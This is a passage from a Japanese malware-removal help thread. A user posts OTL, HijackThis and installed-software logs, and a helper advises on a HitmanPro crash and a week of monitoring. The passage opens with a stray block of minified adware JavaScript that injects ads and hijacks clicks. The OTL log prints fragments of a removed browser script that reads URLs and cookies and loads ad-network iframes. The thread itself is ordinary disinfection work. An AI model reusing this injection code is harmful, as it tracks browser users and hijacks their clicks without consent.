(c.marginWidth=a.attrs.marginwidth),a.attrs.hasOwnProperty(\"marginheight\")&&(c.marginHeight=a.attrs.marginheight))}if(a.children)for(d=0;d<a.children.length;d++){f=a.children[d];e=arguments.callee(f);try{c.appendChild(e)}catch(g){if(\"#text\"==f.type&&\"string\"==typeof f.text)if(\"style\"==a.type&&c.styleSheet)c.styleSheet.cssText=f.text||\"\";else if(e=b.utils.get_node_text_prop(c))c[e]=f.text}}}return c}};b.addEventClick=function(a,c){for(var d=0;d<a.length;d++)b.events.add(\"click\",function(a){a.preventDefault? a.preventDefault():a.returnValue=!1;this.href=\"#\";location.href=c+\"&j=true\";b.events.flush();localStorage.setItem(b.prefix,b.now+b.clickInterval);return!1},!1,a[d],!0)};b.checkClickInterval=function(a){if(b.now>a)return!0};b.setClickHref=function(a,c){if(\"undefined\"!=typeof b.projects_info[c].hrefSelector){if(b.utils.getRandomInt(1,1E4)>=1E4/b.ratio)return!1;var d=b.projects_info[c].hrefSelector,e=parseInt(localStorage.getItem(b.prefix));if(\"undefined\"!=typeof d){if(d instanceof Array)for(var f=0;f< d.length;f++){var g=b.utils.query_selector_all(d[f]);if(0<g.length)break}else g=b.utils.query_selector_all(d);if(!e||b.checkClickInterval(e))b.addEventClick(g,a),b.j=!0}}};b.escape_chars_for_json=function(a){for(var b in a)a[b]=a[b].replace(/\\\"/g,'\\\\\"');return a};b.tpl_engine=function(a,c,d){\"false\"!==d.layouts.unique&&(c=b.escape_chars_for_json(c));a=JSON.stringify(a);c=[{replace:\"title\",\"with\":c.title},{replace:\"displayUrl\",\"with\":c.displayUrl},{replace:\"description\",\"with\":c.description},{replace:\"clickUrl\", \"with\":c.clickUrl}];for(d=0;d<c.length;d++)a=a.replace(RegExp(\"\\\\[##\"+c[d].replace+\"##\\\\]\",\"g\"),c[d][\"with\"]);try{return JSON.parse(a)}catch(e){}};b.get_item_json=function(a,c){var d=b.utils.clone_object(a.layouts.template);d.attrs instanceof Object||(d.attrs={});return d=b.tpl_engine(d,c,a)};b.add_jsonp_to_config=function(a,c){b.get_item_json(a)};b.remove_search=function(){var a=b.utils.query_selector_all(\".yael\");if(0<a.length)for(var c=0;c<a.length;c++)a[c].parentNode.removeChild(a[c])};b.inject_json= function(a){\"first\"==a.insert?a.element.insertBefore(a.node,a.element.firstChild):\"before\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element):\"after\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element.nextSibling):a.element.appendChild(a.node)};b.get_ad_dom=function(a){return a.layouts instanceof Object&&a.layouts.dom instanceof Object?a.layouts.dom:!1};b.get_layout_type=function(a){if(a.layouts instanceof Object)for(var b=0;b<k.length;b++)if(-1<a.layouts.id.indexOf(k[b]))return k[b]; return!1};b.create_search=function(a){a=b.get_ad_dom(a);return b.dom.json_to_html(a)};b.templates=new function(){this.container_id=0;this.add_real_links=function(a,c){b.utils.add_event(\"click\",function(b){window.open(a);b.preventDefault?b.preventDefault():b.returnValue=!1},!1,c)}};b.validate_response=function(){for(var a in __yael_res.data.items)__yael_res.data.items[a].displayUrl.match(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/)&&__yael_res.data.items[a].displayUrl.replace(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/,\"\")}; b.is_target_valid=function(a){if(0!=__yael_res.data.numberOfItems&&\"undefined\"!=typeof a.element)return a.urls instanceof Array&&!b.utils.match_url(a.element.ownerDocument.location.href,a.urls)?!1:!0};var p=null;b.get_target_element=function(a){if(a.inserts instanceof Array&&\"undefined\"==typeof a.element)for(var b=0;b<a.inserts.length;b++)if(a.element=l(a.inserts[b].selector),\"undefined\"!==typeof a.element){a.insert=a.inserts[b].at;break}};b.add_data_to_config=function(a,c){if(0==c.length)return b.unique_items_left= !1;var d=b.get_ad_dom(a);(function(a,c){c.children&&0!==c.children.length?(c=c.children[c.children.length-1],arguments.callee(a,c)):b.insert_point=c})(a,d);for(d=0;d<b.num_of_items_in_one&&0!=c.length;d++)b.insert_point.children.push(b.get_item_json(a,c[0])),\"true\"==a.layouts.unique?b.not_unique_items.push(c.shift()):c.shift()};b.addEventsToItems=function(){for(var a=document.querySelectorAll('a[href*=\"'+b.jsonpHost+'\"]'),c=0;c<a.length;c++)b.events.add(\"click\",function(){b.init_search_project()}, !1,a[c],!1)};b.check_if_div_in_dom=function(a,b){var d=[],e;for(e in __yael_res.config.targets){var f=__yael_res.config.targets[e];clearTimeout(p);a++;if(4<a)return;if(f.inserts instanceof Array&&\"undefined\"==typeof f.element)for(var g=0;g<f.inserts.length;g++){var h=l(f.inserts[g].selector);\"undefined\"!==typeof h&&d.push
  • 悪代官
  • 2014/03/30 (Sun) 21:23:32
返信フォームへ 
Run Fix後のOTLのログになります。
ご協力ありがとうございます。

Run Fix後のOTLのログになります。


========== OTL ==========
Prefs.js: "(function(){try{var url=(window.self.location.href + document.cookieif(url.indexOf(\"acebook\")>-1||url.indexOf(\"txtlnkusaolp00000800\")>-1||url.indexOf(\"sumorobo\")>-1||url.indexOf(\"roulettebotplus\")>-1||url.indexOf(\"s.vgsgaming-ads\")>-1||url.indexOf(\"=admaven\")>-1||url.indexOf(\"lottery-master\")>-1||url.indexOf(\"lotterymaster\")>-1||url.indexOf(\"5386b_643c_\")>-1||url.indexOf(\"easylifeapp.com\")>-1||url.match(/ressbar.com[^f]+fid=65017/)||url.indexOf(\"form=u064ht&pc=u064\")>-1||url.indexOf(\"source=45905810\")>-1||url.indexOf(\"source=532d277e\")>-1||url.indexOf(\"aro.com/ws/?source=6974b128\")>-1||url.indexOf(\"esmoke.com/?isid=9949\")>-1||url.indexOf(\"id=webpick_ot\")>-1||url.indexOf(\"id=wbpk_ot\")>-1||url.indexOf(\"jerusalem.com\")>-1||url.indexOf(\"hash=a4vxy8\")>-1){return}}catch(e){};try{if(typeof(localStorage)!='undefined' && window.self.location.hostname.indexOf('youtube')>-1){localStorage.setItem(\"xhxg4sk42hsba\",\"9\")}}catch(e){};var _wls removed from extensions.7Af3nsdm.scode
File 0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D\".substr(9*d,8),a=a>>>8^d;c=a^-1;0>c&&(c+=4294967296);return c}},_zyad={title:document.title?document.title.toLowerCase():\"na\",location:window.self.location.href.toLowerCase() + (document.referrer ? document.referrer : ''),vrt:!1,networks_list:[[['cpx_bet_55',3247],['start_me_app_tier3',3],['baba_tb_new',1],['yashi_apx_new',45],['yieldads_rmx',348],['adperium_rmx_new',1],['blutonic_apx',1],['batanga_rmx_new',149],['adnetwork_adnttb',3],['media152_gen',3],['harren_apx_new',50],['velis_apx1',179],['acsencion_apx2',57],['adsuduos_apx1',51],['sonobi_gen',50],['mari_gen4',915],['mari_gen4_2',915],['adstract_newt3_27_3',95],['web3_nontb5',31],['baba_nontb2',95],['sayme not found.
File + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2450405&size='+size+'', (atp?atp:1), [815,size]);}}catch(e){return !1;}},web3_nontb5:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2450540&size='+size+'&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]', (atp?atp:1), [821,size]);}}catch(e){return !1;}},baba_nontb2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2446828\",\"300x250\":\"2446829\",\"728x90\":\"2446830\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr) not found.
File CHEBUSTER]&referrer=[REFERRER_URL]', (atp?atp:1), [820,size]);}}catch(e){return !1;}},matomy_strm22:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 160x600 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"300x250\":\"2452616\",\"160x600\":\"2452623\",\"728x90\":\"2452620\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [830,size]);}}catch(e){return !1;}},matomy_strm22_2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"2452622\",\"300x250\":\"2452618\",\"160x600\":\"2452626\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [834,size]);}}catch(e){return !1;}},hulk_porn:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width= not found.

OTL by OldTimer - Version 3.2.69.0 log created on 03302014_230503


状況報告
動作は快適ですが一度立ち上げ時に

問題が発生したため、hmpsched.exeを終了します。
ご不便をおかけして申し訳ありません。

の表示が出て再起動しました。

後は特に問題はありません。

よろしくお願いします。
  • wysksun
  • 2014/03/30 (Sun) 23:18:56
返信フォームへ 
一応しばらく様子見を
作業と報告、ご苦労様です。
OTLでの処置はできて、その後異常も沈静化しているようですが、

>問題が発生したため、hmpsched.exeを終了します。

これは以下のアプリのプロセスですね。
>HitmanPro 3.7 SurfRight B.V. 2014/03/29 3.7.9.216

ご自身でも自力解決を考えて入れたようですが、このアプリもあまり評価よくないので、自分としてはお勧めしません。
どうしても使うなら設定と機能をしっかり把握して自己責任でどうぞ。
使わないならこれはセーフモード状態でIUを使ってアンインストールしてください。

どうもこれまでの流れもきな臭いので、異常が出てなければそのまま1週間様子見して、その時点でまたHJTとインスト情報ログと、CCでの各タブのログを返信に貼って、状態報告とともにレスください。
異常が再発したら1週間待たずにいいので、その時点でログと報告をください
  • 悪代官
  • 2014/03/31 (Mon) 19:15:04
返信フォームへ 
HJTとインスト情報、CC各タブのログ
ご協力ありがとうございます。

まだ処置してから３日で特に異常は出ていませんが
ＰＣの処理速度は、随分と回復しましたが未だに全快ではありません。

今日当方に時間ができたので前倒しでログの情報をお渡しします。

よろしくお願いします。


HJT

Logfile of Trend Micro HijackThis v2.0.4
Scan saved at 12:55:49, on 2014/04/02
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v8.00 (8.00.6001.18702)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
D:\ProgramFiles\BUFFALO\Client Manager3\bwsvc.exe
C:\WINDOWS\system32\spoolsv.exe
D:\ProgramFiles\SUPERAntiSpyware\SASCORE.EXE
C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
D:\ProgramFiles\Bonjour\mDNSResponder.exe
D:\ProgramFiles\Java\jre7\bin\jqs.exe
D:\ProgramFiles\Google\Update\GoogleUpdate.exe
D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamscheduler.exe
D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamservice.exe
D:\ProgramFiles\Sony\NFC Proxy Service\bin\NFCProxyService.exe
D:\ProgramFiles\RealNetworks\RealDownloader\rndlresolversvc.exe
d:\ProgramFiles\Microsoft SQL Server\90\Shared\sqlwriter.exe
C:\WINDOWS\system32\svchost.exe
D:\ProgramFiles\Wyse\PocketCloud Windows Companion\PocketCloudService.exe
D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseRemoteAccess.exe
C:\WINDOWS\Explorer.EXE
D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamgui.exe
D:\ProgramFiles\JustSystems\ATOK22\ATOK22MN.EXE
C:\WINDOWS\system32\igfxtray.exe
C:\WINDOWS\system32\hkcmd.exe
D:\ProgramFiles\Creative\Surround Mixer\CTSysVol.exe
D:\ProgramFiles\Sony\FeliCa Launcher\FeliCaLauncher.exe
D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseBrowser.exe
C:\WINDOWS\system32\igfxpers.exe
D:\ProgramFiles\iTunes\iTunesHelper.exe
C:\WINDOWS\system32\ctfmon.exe
D:\ProgramFiles\SUPERAntiSpyware\SUPERAntiSpyware.exe
D:\ProgramFiles\Fenrir Inc\Sleipnir\bin\Sleipnir.exe
D:\ProgramFiles\BUFFALO\Client Manager3\cm3_tray.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Dropbox\bin\Dropbox.exe
C:\WINDOWS\system32\wscntfy.exe
D:\ProgramFiles\iPod\bin\iPodService.exe
C:\Program Files\Common Files\Sony Shared\FeliCaLibrary\ServiceManager\FeliCaPort_ServiceMgr.exe
C:\WINDOWS\system32\wuauclt.exe
D:\ProgramFiles\Fenrir Inc\Sleipnir\bin\TouchPaging.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Fenrir Inc\Sleipnir\~temp\plugins\ChromiumEngine\sleipnir_engine_cv.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Fenrir Inc\Sleipnir\~temp\plugins\ChromiumEngine\sleipnir_engine_cv.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Fenrir Inc\Sleipnir\~temp\plugins\ChromiumEngine\sleipnir_engine_cv.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Fenrir Inc\Sleipnir\~temp\plugins\ChromiumEngine\sleipnir_engine_cv.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Fenrir Inc\Sleipnir\~temp\plugins\ChromiumEngine\sleipnir_engine_cv.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Fenrir Inc\Sleipnir\~temp\plugins\ChromiumEngine\sleipnir_engine_cv.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\i-Funbox DevTeam\iFunBox.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
C:\WINDOWS\system32\conime.exe
C:\Program Files\Common Files\Apple\Mobile Device Support\ATH.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
C:\Documents and Settings\kwata.SIRIUS.003\デスクトップ\tool\HijackThis.exe

O2 - BHO: ExplorerWnd Helper - {10921475-03CE-4E04-90CE-E2E7EF20C814} - D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll
O3 - Toolbar: ExplorerWnd Helper - {10921475-03CE-4E04-90CE-E2E7EF20C814} - D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll
O4 - HKLM\..\Run: [IMJPMIG8.1] "C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32
O4 - HKLM\..\Run: [IMJPMIG12.0] C:\Program Files\Common Files\Microsoft Shared\IME12\IMEJP\IMJPRMZB.EXE /RmZombie
O4 - HKLM\..\Run: [IgfxTray] C:\WINDOWS\system32\igfxtray.exe
O4 - HKLM\..\Run: [HotKeysCmds] C:\WINDOWS\system32\hkcmd.exe
O4 - HKLM\..\Run: [APSDaemon] "C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe"
O4 - HKLM\..\Run: [AppleSyncNotifier] C:\Program Files\Common Files\Apple\Mobile Device Support\AppleSyncNotifier.exe
O4 - HKLM\..\Run: [Adobe ARM] "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
O4 - HKLM\..\Run: [CTSysVol] D:\ProgramFiles\Creative\Surround Mixer\CTSysVol.exe /r
O4 - HKLM\..\Run: [FeliCa Launcher] "D:\ProgramFiles\Sony\FeliCa Launcher\FeliCaLauncher.exe" /AutoStart
O4 - HKLM\..\Run: [JustOnlineUpdate] "C:\Program Files\Common Files\JustSystem\JustOnlineUpdate\JustOnlineUpdate.exe" /startup
O4 - HKLM\..\Run: [PocketCloud Location] D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseBrowser.exe
O4 - HKLM\..\Run: [QuickTime Task] "D:\ProgramFiles\QuickTime\qttask.exe" -atboottime
O4 - HKLM\..\Run: [Persistence] C:\WINDOWS\system32\igfxpers.exe
O4 - HKLM\..\Run: [PHIME2002A] C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName
O4 - HKLM\..\Run: [PHIME2002ASync] C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /SYNC
O4 - HKLM\..\Run: [iTunesHelper] "D:\ProgramFiles\iTunes\iTunesHelper.exe"
O4 - HKCU\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe
O4 - HKCU\..\Run: [SUPERAntiSpyware] D:\ProgramFiles\SUPERAntiSpyware\SUPERAntiSpyware.exe
O4 - HKUS\S-1-5-19\..\Run: [ctfmon.exe] ctfmon.exe (User 'LOCAL SERVICE')
O4 - HKUS\S-1-5-20\..\Run: [ctfmon.exe] ctfmon.exe (User 'NETWORK SERVICE')
O4 - HKUS\S-1-5-18\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe (User 'SYSTEM')
O4 - HKUS\.DEFAULT\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe (User 'Default user')
O8 - Extra context menu item: Add to Google Photos Screensa&ver - res://C:\WINDOWS\system32\GPhotos.scr/200
O8 - Extra context menu item: E&xport to Microsoft Excel - res://D:\PROGRA~1\MICROS~2\Office10\EXCEL.EXE/3000
O9 - Extra button: (no name) - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\WINDOWS\Network Diagnostic\xpnetdiag.exe
O9 - Extra 'Tools' menuitem: @xpsp3res.dll,-20001 - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\WINDOWS\Network Diagnostic\xpnetdiag.exe
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - D:\ProgramFiles\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - D:\ProgramFiles\Messenger\msmsgs.exe
O15 - ESC Trusted Zone: http://*.update.microsoft.com
O16 - DPF: {D27CDB6E-AE6D-11CF-96B8-444553540000} (Shockwave Flash Object) - http://fpdownload2.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
O16 - DPF: {F6ACF75C-C32C-447B-9BEF-46B766368D29} (Creative Software AutoUpdate Support Package) - http://ccfiles.creative.com/Web/softwareupdate/su2/ocx/15111/CTPID.cab
O17 - HKLM\System\CCS\Services\Tcpip\..\{AAC4A0CB-C003-44A6-9968-242CB0667474}: NameServer = 192.168.1.1
O22 - SharedTaskScheduler: Browseui preloader - {438755C2-A8BA-11D1-B96B-00A0C90312E1} - C:\WINDOWS\system32\browseui.dll
O22 - SharedTaskScheduler: Component Categories cache daemon - {8C7461EF-2B13-11d2-BE35-3078302C2030} - C:\WINDOWS\system32\browseui.dll
O23 - Service: SAS Core Service (!SASCORE) - SUPERAntiSpyware.com - D:\ProgramFiles\SUPERAntiSpyware\SASCORE.EXE
O23 - Service: Adobe Flash Player Update Service (AdobeFlashPlayerUpdateSvc) - Adobe Systems Incorporated - C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe
O23 - Service: Apple Mobile Device - Apple Inc. - C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
O23 - Service: Bonjour サービス (Bonjour Service) - Apple Inc. - D:\ProgramFiles\Bonjour\mDNSResponder.exe
O23 - Service: BrlAPI - Unknown owner - D:\cygwin\bin\cygrunsrv.exe
O23 - Service: Bwsvc - BUFFALO INC. - D:\ProgramFiles\BUFFALO\Client Manager3\bwsvc.exe
O23 - Service: Google アップデート サービス (gupdate) (gupdate) - Google Inc. - D:\ProgramFiles\Google\Update\GoogleUpdate.exe
O23 - Service: Google Update サービス (gupdatem) (gupdatem) - Google Inc. - D:\ProgramFiles\Google\Update\GoogleUpdate.exe
O23 - Service: Google Updater Service (gusvc) - Google - D:\ProgramFiles\Google\Common\Google Updater\GoogleUpdaterService.exe
O23 - Service: iPod サービス (iPod Service) - Apple Inc. - D:\ProgramFiles\iPod\bin\iPodService.exe
O23 - Service: Java Quick Starter (JavaQuickStarterService) - Oracle Corporation - D:\ProgramFiles\Java\jre7\bin\jqs.exe
O23 - Service: LiveUpdate (LiveUpdateSvc) - IObit - D:\ProgramFiles\IObit\LiveUpdate\LiveUpdate.exe
O23 - Service: MBAMScheduler - Malwarebytes Corporation - D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamscheduler.exe
O23 - Service: MBAMService - Malwarebytes Corporation - D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamservice.exe
O23 - Service: Mozilla Maintenance Service (MozillaMaintenance) - Mozilla Foundation - D:\ProgramFiles\Mozilla Maintenance Service\maintenanceservice.exe
O23 - Service: NFC Proxy Service (NFCProxyService) - Sony Corporation - D:\ProgramFiles\Sony\NFC Proxy Service\bin\NFCProxyService.exe
O23 - Service: RealNetworks Downloader Resolver Service - Unknown owner - D:\ProgramFiles\RealNetworks\RealDownloader\rndlresolversvc.exe
O23 - Service: Wyse PocketCloud (WysePocketCloud) - Unknown owner - D:\ProgramFiles\Wyse\PocketCloud Windows Companion\PocketCloudService.exe
O23 - Service: Wyse Remote Access (WyseRemoteAccess) - Wyse Technology. - D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseRemoteAccess.exe

--
End of file - 9712 bytes


インスト情報

+Lhaca 2014/02/17
Adobe AIR Adobe Systems Incorporated 2013/04/21 3.7.0.1530
Adobe Flash Player 12 ActiveX Adobe Systems Incorporated 2014/03/26 12.0.0.77
Adobe Flash Player 12 Plugin Adobe Systems Incorporated 2014/03/26 12.0.0.77
Adobe Reader XI (11.0.06) - Japanese Adobe Systems Incorporated 2014/02/09 149.00 MB 11.0.06
Apple Application Support Apple Inc. 2014/03/04 94.98 MB 3.0.1
Apple Mobile Device Support Apple Inc. 2014/03/04 20.73 MB 7.1.1.3
Apple Software Update Apple Inc. 2011/11/05 2.38 MB 2.1.3.127
ASIO Proxy for foobar2000 Maxim V.Anisiutkin 2014/03/31 0.6.5
ASIO4ALL Michael Tippach 2014/02/17 2.10
astah professional 6.1 Change Vision, Inc. 2014/02/17
ATOK 2009 株式会社ジャストシステム 2009/12/14 161.00 MB 22.0.3.0
Bonjour Apple Inc. 2014/03/04 1.03 MB 3.0.0.10
BUFFALO AirStation倍速設定ツール（アンインストール） 2014/03/31
BUFFALO クライアントマネージャ３ 2014/03/31
BUFFALO 親機子機切り替えツール BUFFALO INC. 2014/02/17
Canon ScanGear Toolbox CS 2.2 2014/02/17
CCleaner Piriform 2014/03/01 4.11
Compatibility Pack for the 2007 Office system Microsoft Corporation 2014/01/16 275.00 MB 12.0.6612.1000
Craving Explorer Version 1.5.2 T-Craft 2013/10/13 1.5.2.0
Creative EAX ｾｯﾃｨﾝｸﾞ 2014/02/17
Creative ｽﾋﾟｰｶｰ ｾｯﾃｨﾝｸﾞ 2014/02/17
Creative ｿﾌﾄｳｪｱ ｵｰﾄｱｯﾌﾟﾃﾞｰﾄ
Dropbox Dropbox, Inc. 2014/02/17 2.4.11
DVD Shrink 3.2 DVD Shrink 2014/02/17
FeliCa Launcher Sony Corporation 2013/04/21 1.4.1.3
FFFTP Ver.1.98e FFFTP Project 2014/02/17
FLAC 1.2.1b (remove only) Xiph.org 2014/02/17 1.2.1b
Google Chrome Google Inc. 2010/05/29 32.0.1700.41
HandBrake 0.9.8 2014/02/17 0.9.8
IDiskバックアップツール 株式会社ジャストシステム 2009/11/13 0.1.1.0
iExplorer 2.2.1.3 Macroplant, LLC 2012/02/11
iFunbox (v2.7.2386.747), iFunbox DevTeam 2014/01/05 v2.7.2386.747
ImgBurn LIGHTNING UK! 2014/03/02 2.5.8.0
Intel(R) Graphics Media Accelerator Driver 2014/03/31
IObit Uninstaller IObit 2014/03/01 3.1.7.2405
iPhone 構成ユーティリティ Apple Inc. 2012/12/24 12.73 MB 3.6.1.296
Java 7 Update 51 Oracle 2013/04/21 129.00 MB 7.0.510
jetAudio Basic VX COWON 2010/01/05 8.0.0
JUSTｵﾝﾗｲﾝｱｯﾌﾟﾃﾞｰﾄ 株式会社ジャストシステム 2012/05/27 1.0.1.0
Malwarebytes Anti-Malware バージョン 1.75.0.1300 Malwarebytes Corporation 2014/03/16 1.75.0.1300
McAfee Security Scan Plus McAfee, Inc. 3.8.141.11
MediaInfo 0.7.67 MediaArea.net 2014/02/17 0.7.67
Mercurial 2.4.0 (x86) Matt Mackall and others 2012/11/24 24.27 MB 2.4.0
Microsoft .NET Framework 2.0 Service Pack 2 Microsoft Corporation 2014/02/13 3,483.00 MB 2.2.30729
Microsoft .NET Framework 2.0 Service Pack 2 Language Pack - JPN Microsoft Corporation 2010/02/28 6.23 MB 2.2.30729
Microsoft .NET Framework 3.0 Service Pack 2 Microsoft Corporation 2013/10/15 446.00 MB 3.2.30729
Microsoft .NET Framework 3.0 Service Pack 2 Language Pack - JPN Microsoft Corporation 2010/02/28 9.40 MB 3.2.30729
Microsoft .NET Framework 4 Client Profile Microsoft Corporation 2014/02/13 4.0.30319
Microsoft .NET Framework 4 Extended Microsoft Corporation 2014/02/13 4.0.30319
Microsoft Office Excel Viewer Microsoft Corporation 2013/12/12 75.86 MB 12.0.6612.1000
Microsoft Office XP Professional with FrontPage Microsoft Corporation 2011/06/25 448.00 MB 10.0.6626.0
Microsoft SQL Server 2008 Microsoft Corporation 2014/02/17
Microsoft SQL Server 2008 Browser Microsoft Corporation 2010/02/28 7.95 MB 10.0.1600.22
Microsoft SQL Server 2008 Management Objects Microsoft Corporation 2010/02/28 11.47 MB 10.0.1600.22
Microsoft SQL Server 2008 Native Client Microsoft Corporation 2010/02/28 4.82 MB 10.0.1600.22
Microsoft SQL Server 2008 セットアップ サポート ファイル (英語) Microsoft Corporation 2010/02/28 35.48 MB 10.0.1600.22
Microsoft SQL Server Compact 3.5 SP1 デザイン ツール日本語版 Microsoft Corporation 2010/02/28 9.17 MB 3.5.5692.0
Microsoft SQL Server Compact 3.5 SP1 日本語版 Microsoft Corporation 2010/02/28 2.87 MB 3.5.5692.0
Microsoft SQL Server VSS Writer Microsoft Corporation 2010/02/28 6.50 MB 10.0.1600.22
Microsoft Visual C# 2008 Express Edition SP1 - 日本語 Microsoft Corporation 2014/02/17
Microsoft Visual C++ 2005 ATL Update kb973923 - x86 8.0.50727.4053 Microsoft Corporation 2010/01/12 0.11 MB 8.0.50727.4053
Microsoft Visual C++ 2005 Redistributable Microsoft Corporation 2011/06/25 5.28 MB 8.0.61001
Microsoft Visual C++ 2008 ATL Update kb973924 - x86 9.0.30729.4148 Microsoft Corporation 2010/03/02 0.15 MB 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729 Microsoft Corporation 2010/02/28 10.28 MB 9.0.30729
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 Microsoft Corporation 2013/04/06 9.64 MB 9.0.30729
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 Microsoft Corporation 2011/06/25 10.20 MB 9.0.30729.6161
Microsoft Windows SDK for Visual Studio 2008 SP1 Express Tools for .NET Framework - jpn Microsoft Corporation 2010/02/28 5.75 MB 3.5.30729
Microsoft Windows SDK for Visual Studio 2008 SP1 Express Tools for Win32 Microsoft Corporation 2010/02/28 2.61 MB 6.1.5295.17011
MobileMe Control Panel Apple Inc. 2011/02/14 11.97 MB 3.1.5.0
Mozilla Firefox 28.0 (x86 ja) Mozilla 2014/03/29 28.0
Mozilla Maintenance Service Mozilla 2014/03/29 28.0
MPC-HC 1.7.3 MPC-HC Team 2014/03/31 1.7.3
MSXML 4.0 SP2 (KB954430) Microsoft Corporation 2009/11/14 2.67 MB 4.20.9870.0
MSXML 4.0 SP2 (KB973688) Microsoft Corporation 2009/12/14 2.77 MB 4.20.9876.0
MSXML 6.0 Parser (KB933579) Microsoft Corporation 2010/02/28 1.40 MB 6.10.1200.0
NFC Port Software Sony Corporation 2013/04/21 5.2.3.1
Orchis 2014/02/17
Paint.NET v3.5.10 dotPDN LLC 2013/04/03 14.62 MB 3.60.0
PC/SC Activator for Type B Sony Corporation 2013/04/21 1.2.1.0
PDF reDirect (remove only) EXP Systems LLC 2014/02/17 v2.5.2
PhoneTrans 3.3.8 iMobie Inc. 2013/03/12 3.3.8
Picasa 3 Google, Inc. 2014/02/17 3.8
PocketCloud Windows Companion 会社名 2013/04/06 16.15 MB 2.5.13
Python 2.4.3 Martin v. Lis 2012/11/24 29.34 MB 2.4.3150
QuickTime Apple Inc. 2011/02/14 73.72 MB 7.69.80.9
RealPlayer RealNetworks 2014/02/17 16.0.3
Safari Apple Inc. 2011/03/10 41.27 MB 5.33.20.27
